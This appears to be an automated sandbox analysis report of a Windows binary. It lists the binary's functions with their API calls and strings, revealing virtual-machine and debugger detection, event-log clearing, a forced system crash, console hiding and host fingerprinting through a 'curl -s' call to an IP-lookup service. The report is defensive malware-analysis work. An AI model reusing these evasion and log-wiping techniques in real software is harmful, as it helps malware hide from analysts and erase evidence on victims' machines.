API ID: Locimp@locale@std@@Name_invalid_parameter_noinfo_noreturnmemmove$??0?$codecvt@_??4?$_Addfac@_AddressBid@locale@std@@ComputerConcurrency::cancel_current_taskD@std@@HandleInformationInit@locale@std@@Locimp@12@_Locimp@_Mbstatet@@@std@@ModuleNew_ProcUserV01@V123@V123@@VersionVfacet@23@_VolumeYarn@memset
String ID: %08X$Application$C:\$Drives$GetProductInfo$New client$Unknown$Windows %d.%d (Build %d)$ip address$kernel32.dll$local user$product version$serial number$system name
API String ID: 1900567759-3537065479
Opcode ID: 5080b76f6441fb5deaf58bdfd11dae4b1887ad35dd40ac654e91d0965d0d4ce7
Instruction ID: 99ab22116fd59ff2da31853da2113fcfc70ac95369e6f800dc71742cd34cbbe7
Opcode Fuzzy Hash: 5080b76f6441fb5deaf58bdfd11dae4b1887ad35dd40ac654e91d0965d0d4ce7
Instruction Fuzzy Hash: 48F18422A146C299EF70DF34C9513E93361FBA5348F885231F65CA6999EF7CD684C390

Function 00007FF65E1F42B0 Relevance: 36.9, APIs: 18, Strings: 3, Instructions: 141
windownativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlAdjustPrivilege.NTDLL ref: 00007FF65E1F42F5
NtRaiseHardError.NTDLL ref: 00007FF65E1F431A
GetConsoleWindow.KERNELBASE ref: 00007FF65E1F4320
ShowWindow.USER32 ref: 00007FF65E1F432B
SetConsoleCtrlHandler.KERNEL32 ref: 00007FF65E1F4338
GetConsoleWindow.KERNELBASE ref: 00007FF65E1F4346
GetSystemMenu.USER32 ref: 00007FF65E1F4351
RemoveMenu.USER32 ref: 00007FF65E1F4367
GetModuleFileNameW.KERNEL32 ref: 00007FF65E1F437D
GetFileAttributesW.KERNELBASE ref: 00007FF65E1F438B
SetFileAttributesW.KERNELBASE ref: 00007FF65E1F439E
GdiplusStartup.GDIPLUS ref: 00007FF65E1F43EF
CoUninitialize.OLE32 ref: 00007FF65E1F441C
OpenEventLogW.ADVAPI32 ref: 00007FF65E1F4447
ClearEventLogW.ADVAPI32 ref: 00007FF65E1F445A
CloseEventLog.ADVAPI32 ref: 00007FF65E1F4463
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF65E1F44D7

Part of subcall function 00007FF65E1F4530: ?good@ios_base@std@@QEBA_NXZ.MSVCP140 ref: 00007FF65E1F45A9
Part of subcall function 00007FF65E1F4530: ?flush@?$basic_ostream@DU?$char_traits@D@std@@@std@@QEAAAEAV12@XZ.MSVCP140 ref: 00007FF65E1F45C9
Part of subcall function 00007FF65E1F4530: ?good@ios_base@std@@QEBA_NXZ.MSVCP140 ref: 00007FF65E1F45D9
Part of subcall function 00007FF65E1F4530: ?setstate@?$basic_ios@DU?$char_traits@D@std@@@std@@QEAAXH_N@Z.MSVCP140 ref: 00007FF65E1F46BC
Part of subcall function 00007FF65E1F4530: ?uncaught_exceptions@std@@YAHXZ.MSVCP140 ref: 00007FF65E1F46C3
Part of subcall function 00007FF65E1F4530: ?_Osfx@?$basic_ostream@DU?$char_traits@D@std@@@std@@QEAAXXZ.MSVCP140 ref: 00007FF65E1F46D0

??6?$basic_ostream@DU?$char_traits@D@std@@@std@@QEAAAEAV01@P6AAEAV01@AEAV01@@Z@Z.MSVCP140 ref: 00007FF65E1F44FB

Strings

Application, xrefs: 00007FF65E1F43B3
Security, xrefs: 00007FF65E1F43C1
System, xrefs: 00007FF65E1F43BA

Memory Dump Source

Source File: 00000006.00000002.2060431561.00007FF65E1F1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FF65E1F0000, based on PE: true

Associated: 00000006.00000002.2060414733.00007FF65E1F0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.2060452458.00007FF65E200000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.2060470362.00007FF65E207000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.2060486628.00007FF65E208000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff65e1f0000_java.jbxd

Similarity

API ID: D@std@@@std@@U?$char_traits@$ConsoleEventFileWindow$?good@ios_base@std@@AttributesMenuV01@$??6?$basic_ostream@?flush@?$basic_ostream@?setstate@?$basic_ios@?uncaught_exceptions@std@@AdjustClearCloseCtrlErrorGdiplusHandlerHardModuleNameOpenOsfx@?$basic_ostream@PrivilegeRaiseRemoveShowStartupSystemUninitializeV01@@V12@_invalid_parameter_noinfo_noreturn
String ID: Application$Security$System
API String ID: 1039291073-2169399579
Opcode ID: 2202469d28eb256a13a2b8e783f8f6042cd7bca2b1afced6cc134338b03aeeda
Instruction ID: 7d3fb49b106695e8e883b65edaa9a89731b1c9ca2a65a536775fd3e785ba816e
Opcode Fuzzy Hash: 2202469d28eb256a13a2b8e783f8f6042cd7bca2b1afced6cc134338b03aeeda
Instruction Fuzzy Hash: C8618031A08A4281FF20DF24E66476A73A2FFA4784F484431E95DA2AE8EF7CE445C751

Function 00007FF65E1F3EC9 Relevance: 28.1, APIs: 7, Strings: 9, Instructions: 84
processCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateToolhelp32Snapshot.KERNEL32 ref: 00007FF65E1F3EE8
memset.VCRUNTIME140 ref: 00007FF65E1F3F19
Process32FirstW.KERNEL32 ref: 00007FF65E1F3F28
_wcsicmp.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FF65E1F3F47
Process32NextW.KERNEL32 ref: 00007FF65E1F3F65
CloseHandle.KERNELBASE ref: 00007FF65E1F3F77

Strings

cheatengine-x86_64.exe, xrefs: 00007FF65E1F4206
QEMU, xrefs: 00007FF65E1F4214
x64dbg.exe, xrefs: 00007FF65E1F41EA
x32dbg.exe, xrefs: 00007FF65E1F41F1
VMware, xrefs: 00007FF65E1F420D
ida.exe, xrefs: 00007FF65E1F41FF
Security check failed!, xrefs: 00007FF65E1F4272
VBox, xrefs: 00007FF65E1F3EFA, 00007FF65E1F3F7D
ida64.exe, xrefs: 00007FF65E1F41F8

Memory Dump Source

Source File: 00000006.00000002.2060431561.00007FF65E1F1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FF65E1F0000, based on PE: true

Associated: 00000006.00000002.2060414733.00007FF65E1F0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.2060452458.00007FF65E200000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.2060470362.00007FF65E207000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.2060486628.00007FF65E208000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff65e1f0000_java.jbxd

Similarity

API ID: Process32$CloseCreateFirstHandleNextSnapshotToolhelp32_wcsicmpmemset
String ID: QEMU$Security check failed!$VBox$VMware$cheatengine-x86_64.exe$ida.exe$ida64.exe$x32dbg.exe$x64dbg.exe
API String ID: 4057197811-609307201
Opcode ID: c64f5e80e60c7e590fc2e8e59739d82692e68fa2b7077d425abbb35b56314ba8
Instruction ID: ebf9fca0d3a3ad4c5cc2ac5effc41172ca788f8d8c36615c21b3d456145d57c1
Opcode Fuzzy Hash: c64f5e80e60c7e590fc2e8e59739d82692e68fa2b7077d425abbb35b56314ba8
Instruction Fuzzy Hash: C1414221B08A0684FF10DF60EB605B83372BB64798F884532E91EA3698EF3CE509C351

Function 00007FF65E1F3FEA Relevance: 28.1, APIs: 6, Strings: 10, Instructions: 62
librarynativeloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryA.KERNEL32 ref: 00007FF65E1F3FF1
GetProcAddress.KERNEL32 ref: 00007FF65E1F4009
FreeLibrary.KERNEL32 ref: 00007FF65E1F401A
GetCurrentProcess.KERNEL32 ref: 00007FF65E1F4038
NtQueryInformationProcess.NTDLL ref: 00007FF65E1F405A
FreeLibrary.KERNEL32 ref: 00007FF65E1F4061

Strings

cheatengine-x86_64.exe, xrefs: 00007FF65E1F4206
QEMU, xrefs: 00007FF65E1F4214
x64dbg.exe, xrefs: 00007FF65E1F41EA
x32dbg.exe, xrefs: 00007FF65E1F41F1
ntdll.dll, xrefs: 00007FF65E1F3FEA
VMware, xrefs: 00007FF65E1F420D
ida.exe, xrefs: 00007FF65E1F41FF
NtQueryInformationProcess, xrefs: 00007FF65E1F3FFF
VBox, xrefs: 00007FF65E1F4023, 00007FF65E1F4076
ida64.exe, xrefs: 00007FF65E1F41F8

Memory Dump Source

Source File: 00000006.00000002.2060431561.00007FF65E1F1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FF65E1F0000, based on PE: true

Associated: 00000006.00000002.2060414733.00007FF65E1F0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.2060452458.00007FF65E200000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.2060470362.00007FF65E207000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.2060486628.00007FF65E208000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff65e1f0000_java.jbxd

Similarity

API ID: Library$FreeProcess$AddressCurrentInformationLoadProcQuery
String ID: NtQueryInformationProcess$QEMU$VBox$VMware$cheatengine-x86_64.exe$ida.exe$ida64.exe$ntdll.dll$x32dbg.exe$x64dbg.exe
API String ID: 3226424356-3571693660
Opcode ID: d9627f16db0fc1a86dd0f104945a38c67c949dada191655017f2f8b7aff098c4
Instruction ID: 23dcbccd53e10c36a6100cd8590addf0bfe513d51dd3512ab8b88c6f2314a332
Opcode Fuzzy Hash: d9627f16db0fc1a86dd0f104945a38c67c949dada191655017f2f8b7aff098c4
Instruction Fuzzy Hash: 97310325A08B0691FE508F11A724BB93361FF68788F880432E95EA3798EF7DE645C351

Function 00007FF65E1F4130 Relevance: 24.6, APIs: 4, Strings: 10, Instructions: 70
registrystringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RegOpenKeyExA.KERNELBASE ref: 00007FF65E1F4170
RegQueryValueExA.KERNELBASE ref: 00007FF65E1F419F
strstr.VCRUNTIME140 ref: 00007FF65E1F41B7
RegCloseKey.KERNELBASE ref: 00007FF65E1F41D8

Strings

cheatengine-x86_64.exe, xrefs: 00007FF65E1F4206
SystemManufacturer, xrefs: 00007FF65E1F4189
QEMU, xrefs: 00007FF65E1F4214
x64dbg.exe, xrefs: 00007FF65E1F41EA
x32dbg.exe, xrefs: 00007FF65E1F41F1
VMware, xrefs: 00007FF65E1F420D
ida.exe, xrefs: 00007FF65E1F41FF
SYSTEM\HardwareConfig\Current\, xrefs: 00007FF65E1F413F
Virtual, xrefs: 00007FF65E1F4130
ida64.exe, xrefs: 00007FF65E1F41F8

Memory Dump Source

Source File: 00000006.00000002.2060431561.00007FF65E1F1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FF65E1F0000, based on PE: true

Associated: 00000006.00000002.2060414733.00007FF65E1F0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.2060452458.00007FF65E200000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.2060470362.00007FF65E207000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.2060486628.00007FF65E208000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff65e1f0000_java.jbxd

Similarity

API ID: CloseOpenQueryValuestrstr
String ID: QEMU$SYSTEM\HardwareConfig\Current\$SystemManufacturer$VMware$Virtual$cheatengine-x86_64.exe$ida.exe$ida64.exe$x32dbg.exe$x64dbg.exe
API String ID: 3146380931-3937382361
Opcode ID: ef39f671da64075728605a1ffdf3e4a340ea3a097cf108c17dc8ed1a93a84ef8
Instruction ID: 21bfcf2499dec480e0b7b91ff58e9e14ca16a8e0faccf8d8fe6baa47d62b1aa6
Opcode Fuzzy Hash: ef39f671da64075728605a1ffdf3e4a340ea3a097cf108c17dc8ed1a93a84ef8
Instruction Fuzzy Hash: AE313432B18A1695FF50CF10E660AA93775FB6474CF880432EA5DA3698EF3CE545C740

Function 00007FF65E1F40AC Relevance: 22.8, APIs: 4, Strings: 9, Instructions: 56
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RegOpenKeyExA.KERNELBASE ref: 00007FF65E1F40D5
RegQueryValueExA.KERNELBASE ref: 00007FF65E1F4109
RegCloseKey.ADVAPI32 ref: 00007FF65E1F411C
RegCloseKey.KERNELBASE ref: 00007FF65E1F41D8

Strings

cheatengine-x86_64.exe, xrefs: 00007FF65E1F4206
QEMU, xrefs: 00007FF65E1F4214
x64dbg.exe, xrefs: 00007FF65E1F41EA
x32dbg.exe, xrefs: 00007FF65E1F41F1
VMware, xrefs: 00007FF65E1F420D
ida.exe, xrefs: 00007FF65E1F41FF
SYSTEM\CurrentControlSet\Control\CI\Policy, xrefs: 00007FF65E1F40C7
DebugPolicy, xrefs: 00007FF65E1F40F2
ida64.exe, xrefs: 00007FF65E1F41F8

Memory Dump Source

Source File: 00000006.00000002.2060431561.00007FF65E1F1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FF65E1F0000, based on PE: true

Associated: 00000006.00000002.2060414733.00007FF65E1F0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.2060452458.00007FF65E200000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.2060470362.00007FF65E207000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.2060486628.00007FF65E208000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff65e1f0000_java.jbxd

Similarity

API ID: Close$OpenQueryValue
String ID: DebugPolicy$QEMU$SYSTEM\CurrentControlSet\Control\CI\Policy$VMware$cheatengine-x86_64.exe$ida.exe$ida64.exe$x32dbg.exe$x64dbg.exe
API String ID: 1607946009-952540290
Opcode ID: 25521cfc004ebc257bc61c3e9327480934541754925d5f39829c10b8d7562104
Instruction ID: 9fe64558595a68360b04cbd7dbb653f77c0860bd08df0753c6303ed2264cf385
Opcode Fuzzy Hash: 25521cfc004ebc257bc61c3e9327480934541754925d5f39829c10b8d7562104
Instruction Fuzzy Hash: 3D218576A18A4781FF608F10E620BA93365FB6474CF880432FA5DA3698EF3CE645C751

Function 00007FF65E1F3F89 Relevance: 19.3, APIs: 4, Strings: 7, Instructions: 47
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

QueryPerformanceFrequency.KERNEL32 ref: 00007FF65E1F3F8E
QueryPerformanceCounter.KERNEL32 ref: 00007FF65E1F3F99
SleepEx.KERNELBASE ref: 00007FF65E1F3FA4
QueryPerformanceCounter.KERNEL32 ref: 00007FF65E1F3FAF
??6?$basic_ostream@DU?$char_traits@D@std@@@std@@QEAAAEAV01@P6AAEAV01@AEAV01@@Z@Z.MSVCP140 ref: 00007FF65E1F4288

Strings

cheatengine-x86_64.exe, xrefs: 00007FF65E1F4206
QEMU, xrefs: 00007FF65E1F4214
x64dbg.exe, xrefs: 00007FF65E1F41EA
x32dbg.exe, xrefs: 00007FF65E1F41F1
VMware, xrefs: 00007FF65E1F420D
ida.exe, xrefs: 00007FF65E1F41FF
ida64.exe, xrefs: 00007FF65E1F41F8

Memory Dump Source

Source File: 00000006.00000002.2060431561.00007FF65E1F1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FF65E1F0000, based on PE: true

Associated: 00000006.00000002.2060414733.00007FF65E1F0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.2060452458.00007FF65E200000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.2060470362.00007FF65E207000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.2060486628.00007FF65E208000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff65e1f0000_java.jbxd

Similarity

API ID: PerformanceQuery$CounterV01@$??6?$basic_ostream@D@std@@@std@@FrequencySleepU?$char_traits@V01@@
String ID: QEMU$VMware$cheatengine-x86_64.exe$ida.exe$ida64.exe$x32dbg.exe$x64dbg.exe
API String ID: 353636290-478688673
Opcode ID: b0e68379d2f43bbfd6adcc4404e2dbc32403da636b006cdd8939f56799da900c
Instruction ID: 75f525d00d68b5bec7d22b2a59848d98747988fe1b4f097b988c7bc778ea8ab1
Opcode Fuzzy Hash: b0e68379d2f43bbfd6adcc4404e2dbc32403da636b006cdd8939f56799da900c
Instruction Fuzzy Hash: 16216521A08A4795FF01DF20E6609A97322FF64788F880132E90EB36A4EF3CE546C751

Function 00007FF65E1F4082 Relevance: 15.8, APIs: 2, Strings: 7, Instructions: 36
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentProcess.KERNEL32 ref: 00007FF65E1F408A
CheckRemoteDebuggerPresent.KERNELBASE ref: 00007FF65E1F4098
??6?$basic_ostream@DU?$char_traits@D@std@@@std@@QEAAAEAV01@P6AAEAV01@AEAV01@@Z@Z.MSVCP140 ref: 00007FF65E1F4288

Strings

cheatengine-x86_64.exe, xrefs: 00007FF65E1F4206
QEMU, xrefs: 00007FF65E1F4214
x64dbg.exe, xrefs: 00007FF65E1F41EA
x32dbg.exe, xrefs: 00007FF65E1F41F1
VMware, xrefs: 00007FF65E1F420D
ida.exe, xrefs: 00007FF65E1F41FF
ida64.exe, xrefs: 00007FF65E1F41F8

Memory Dump Source

Source File: 00000006.00000002.2060431561.00007FF65E1F1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FF65E1F0000, based on PE: true

Associated: 00000006.00000002.2060414733.00007FF65E1F0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.2060452458.00007FF65E200000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.2060470362.00007FF65E207000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.2060486628.00007FF65E208000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff65e1f0000_java.jbxd

Similarity

API ID: V01@$??6?$basic_ostream@CheckCurrentD@std@@@std@@DebuggerPresentProcessRemoteU?$char_traits@V01@@
String ID: QEMU$VMware$cheatengine-x86_64.exe$ida.exe$ida64.exe$x32dbg.exe$x64dbg.exe
API String ID: 3386908335-478688673
Opcode ID: 9cc1c9118efba7c555eab79f76b55be6e403fb393d9724d640f38c7b895dc272
Instruction ID: dd83402519933d85195905896e38e8197250276cb7fce0f167b13a8b5cc7dd5b
Opcode Fuzzy Hash: 9cc1c9118efba7c555eab79f76b55be6e403fb393d9724d640f38c7b895dc272
Instruction Fuzzy Hash: DD11566560894791FF50CF10E620AE93361FB6434CF880432EA1EA3298EF3DEA4AC751

Function 00007FF65E1F1780 Relevance: 31.8, APIs: 11, Strings: 7, Instructions: 275
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00007FF65E1F34A0: memmove.VCRUNTIME140(?,?,?,?,00007FF65E1F14B3), ref: 00007FF65E1F34D8

GetLogicalDriveStringsA.KERNEL32 ref: 00007FF65E1F17F4
memset.VCRUNTIME140 ref: 00007FF65E1F1819
??0?$basic_ios@DU?$char_traits@D@std@@@std@@IEAA@XZ.MSVCP140 ref: 00007FF65E1F1838
??0?$basic_iostream@DU?$char_traits@D@std@@@std@@QEAA@PEAV?$basic_streambuf@DU?$char_traits@D@std@@@1@@Z.MSVCP140 ref: 00007FF65E1F1852
??0?$basic_streambuf@DU?$char_traits@D@std@@@std@@IEAA@XZ.MSVCP140 ref: 00007FF65E1F1883
GetDriveTypeA.KERNELBASE ref: 00007FF65E1F18FE
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF65E1F1A67
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF65E1F1A6E
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF65E1F1B77
??1?$basic_iostream@DU?$char_traits@D@std@@@std@@UEAA@XZ.MSVCP140 ref: 00007FF65E1F1BB2
??1?$basic_ios@DU?$char_traits@D@std@@@std@@UEAA@XZ.MSVCP140 ref: 00007FF65E1F1BBC

Part of subcall function 00007FF65E1F34A0: memmove.VCRUNTIME140(?,?,?,?,00007FF65E1F14B3), ref: 00007FF65E1F3579

Strings

(Network), xrefs: 00007FF65E1F194A
(Local), xrefs: 00007FF65E1F1959
(RAM Disk), xrefs: 00007FF65E1F192C
(Unknown), xrefs: 00007FF65E1F191D
(CD-ROM), xrefs: 00007FF65E1F193B
(Removable), xrefs: 00007FF65E1F1968
No drives detected, xrefs: 00007FF65E1F17D4

Memory Dump Source

Source File: 00000006.00000002.2060431561.00007FF65E1F1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FF65E1F0000, based on PE: true

Associated: 00000006.00000002.2060414733.00007FF65E1F0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.2060452458.00007FF65E200000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.2060470362.00007FF65E207000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.2060486628.00007FF65E208000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff65e1f0000_java.jbxd

Similarity

API ID: U?$char_traits@$D@std@@@std@@$_invalid_parameter_noinfo_noreturn$Drivememmove$??0?$basic_ios@??0?$basic_iostream@??0?$basic_streambuf@??1?$basic_ios@??1?$basic_iostream@D@std@@@1@@LogicalStringsTypeV?$basic_streambuf@memset
String ID: (CD-ROM)$ (Local)$ (Network)$ (RAM Disk)$ (Removable)$ (Unknown)$No drives detected
API String ID: 3633658073-1332592045
Opcode ID: fc386d3375d3b44eabae3c4723390cc2e52fbe90a3799c7f1168b13f9aec711b
Instruction ID: 2a4f32d8cb9b31cf85b175498110f855c1d7357e8fe5f8a1a126a4917db7805d
Opcode Fuzzy Hash: fc386d3375d3b44eabae3c4723390cc2e52fbe90a3799c7f1168b13f9aec711b
Instruction Fuzzy Hash: 2CD1C172B18B8185FF20CF65D6502AD7760FBA5794F484232EA6DA3A99DF7CD180CB40

Function 00007FF65E1F61C0 Relevance: 29.9, APIs: 14, Strings: 3, Instructions: 160
fileprocesssynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreatePipe.KERNELBASE ref: 00007FF65E1F622A
CreateProcessA.KERNELBASE ref: 00007FF65E1F62AA
CloseHandle.KERNEL32 ref: 00007FF65E1F62BC
ReadFile.KERNELBASE ref: 00007FF65E1F62F7
memmove.VCRUNTIME140 ref: 00007FF65E1F6343
ReadFile.KERNELBASE ref: 00007FF65E1F637A
WaitForSingleObject.KERNEL32 ref: 00007FF65E1F638D
CloseHandle.KERNELBASE ref: 00007FF65E1F6397
CloseHandle.KERNEL32 ref: 00007FF65E1F63A1
CloseHandle.KERNEL32 ref: 00007FF65E1F63AC
CloseHandle.KERNEL32 ref: 00007FF65E1F63DC
CloseHandle.KERNEL32 ref: 00007FF65E1F63E7
_CxxThrowException.VCRUNTIME140 ref: 00007FF65E1F640A
_CxxThrowException.VCRUNTIME140 ref: 00007FF65E1F642D

Strings

CreatePipe failed, xrefs: 00007FF65E1F6410
CreateProcess failed, xrefs: 00007FF65E1F63ED
System, xrefs: 00007FF65E1F61CC

Memory Dump Source

Source File: 00000006.00000002.2060431561.00007FF65E1F1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FF65E1F0000, based on PE: true

Associated: 00000006.00000002.2060414733.00007FF65E1F0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.2060452458.00007FF65E200000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.2060470362.00007FF65E207000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.2060486628.00007FF65E208000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff65e1f0000_java.jbxd

Similarity

API ID: CloseHandle$CreateExceptionFileReadThrow$ObjectPipeProcessSingleWaitmemmove
String ID: CreatePipe failed$CreateProcess failed$System
API String ID: 1891516669-1096748438
Opcode ID: 3880c30b75bd352c9b1a29dab04add5514506e865d04dfa20b575b1e48a9bc5d
Instruction ID: f9c2d757a9905be059220a442b14d522826edff6c74451a061dea369a14ab5a0
Opcode Fuzzy Hash: 3880c30b75bd352c9b1a29dab04add5514506e865d04dfa20b575b1e48a9bc5d
Instruction Fuzzy Hash: 18717F32A08B8286FF10CF60EA506AD7761FBA4788F145136EA4DA3A68DF7CD595C740

Function 00007FF65E1F1450 Relevance: 19.5, APIs: 9, Strings: 2, Instructions: 205
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00007FF65E1F34A0: memmove.VCRUNTIME140(?,?,?,?,00007FF65E1F14B3), ref: 00007FF65E1F34D8

memmove.VCRUNTIME140 ref: 00007FF65E1F1526
memmove.VCRUNTIME140 ref: 00007FF65E1F1534
memmove.VCRUNTIME140 ref: 00007FF65E1F154A
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF65E1F15CB
_popen.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 00007FF65E1F1601
fgets.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 00007FF65E1F16B9
fgets.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 00007FF65E1F1703
_pclose.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 00007FF65E1F1711
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF65E1F1776

Strings

curl -s , xrefs: 00007FF65E1F14F2
https://api.ipify.org, xrefs: 00007FF65E1F14A2

Memory Dump Source

Source File: 00000006.00000002.2060431561.00007FF65E1F1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FF65E1F0000, based on PE: true

Associated: 00000006.00000002.2060414733.00007FF65E1F0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.2060452458.00007FF65E200000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.2060470362.00007FF65E207000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.2060486628.00007FF65E208000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff65e1f0000_java.jbxd

Similarity

API ID: memmove$_invalid_parameter_noinfo_noreturnfgets$_pclose_popen
String ID: curl -s $https://api.ipify.org
API String ID: 4263605086-4145788705
Opcode ID: ae73d1421c309b4769a2fb54ff61077935537acb340cbfafb32d3ed8a36bdc6c
Instruction ID: 1cc886d5c3cc952779a1823dcd059627f0810794d92ab1cfb693438110ffe709
Opcode Fuzzy Hash: ae73d1421c309b4769a2fb54ff61077935537acb340cbfafb32d3ed8a36bdc6c
Instruction Fuzzy Hash: 7591D062F18B8181FE10CB64D6002BD2361FBA57A4F585331EE6D67A9AEF7CE581C740

Function 00007FF65E1F4530 Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 136
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

?good@ios_base@std@@QEBA_NXZ.MSVCP140 ref: 00007FF65E1F45A9
?flush@?$basic_ostream@DU?$char_traits@D@std@@@std@@QEAAAEAV12@XZ.MSVCP140 ref: 00007FF65E1F45C9
?good@ios_base@std@@QEBA_NXZ.MSVCP140 ref: 00007FF65E1F45D9
?sputc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QEAAHD@Z.MSVCP140 ref: 00007FF65E1F4626
?sputn@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QEAA_JPEBD_J@Z.MSVCP140 ref: 00007FF65E1F464F
?sputc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QEAAHD@Z.MSVCP140 ref: 00007FF65E1F4676
?setstate@?$basic_ios@DU?$char_traits@D@std@@@std@@QEAAXH_N@Z.MSVCP140 ref: 00007FF65E1F46BC
?uncaught_exceptions@std@@YAHXZ.MSVCP140 ref: 00007FF65E1F46C3
?_Osfx@?$basic_ostream@DU?$char_traits@D@std@@@std@@QEAAXXZ.MSVCP140 ref: 00007FF65E1F46D0

Strings

VBox, xrefs: 00007FF65E1F453B

Memory Dump Source

Source File: 00000006.00000002.2060431561.00007FF65E1F1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FF65E1F0000, based on PE: true

Associated: 00000006.00000002.2060414733.00007FF65E1F0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.2060452458.00007FF65E200000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.2060470362.00007FF65E207000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.2060486628.00007FF65E208000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff65e1f0000_java.jbxd

Similarity

